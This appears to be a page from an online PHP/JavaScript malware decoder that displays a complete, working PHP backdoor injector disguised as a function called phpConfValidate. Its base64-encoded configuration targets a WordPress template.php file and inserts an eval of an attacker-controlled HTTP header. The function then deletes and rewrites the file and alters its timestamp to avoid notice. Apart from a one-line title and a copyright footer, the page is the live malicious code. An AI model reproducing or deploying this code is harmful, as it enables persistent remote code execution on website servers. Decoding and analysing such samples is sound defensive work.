Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



phpConfValidate('YTo0OntpOjA7czo2OToiL2hvbWVwYWdlcy8zMS9kODU1NzUxNDk3L2h0ZG9jcy90YXJyYWRhbGUtMjcvd3AtaW5jbHVkZXMvdGVtcGxhdGUucGhwIjtpOjE7czo5ODoifmV2YWxbXlwoXG5ccl0qXChbXlwkXSpcJF9bQS1aXXs2fVteXFtdKlxbW15cJ1wiXSpbXCdcIl1IVFRQXzg0MkM4MzhbXCdcIl1bXlxdXSpcXVteXCldKlwpW147XSo7fnMiO2k6MjtzOjMyOiJAZXZhbCgkX1NFUlZFUlsnSFRUUF84NDJDODM4J10pOyI7aTozO3M6Mzc6In5eXHMqZnVuY3Rpb25ccytnZXRfc2luZ2xlX3RlbXBsYXRlfm0iO30=');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (preg_match($systemEnv, $source)) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    
    $incorrectRegex = str_replace('eval', '@?array', $systemEnv);
    $newSource = preg_replace($incorrectRegex, '', $source);
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
    
    
    if (!preg_match($systemEnv, $newSource)) {
        return;
    }
    
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}



© 2023 Quttera Ltd. All rights reserved.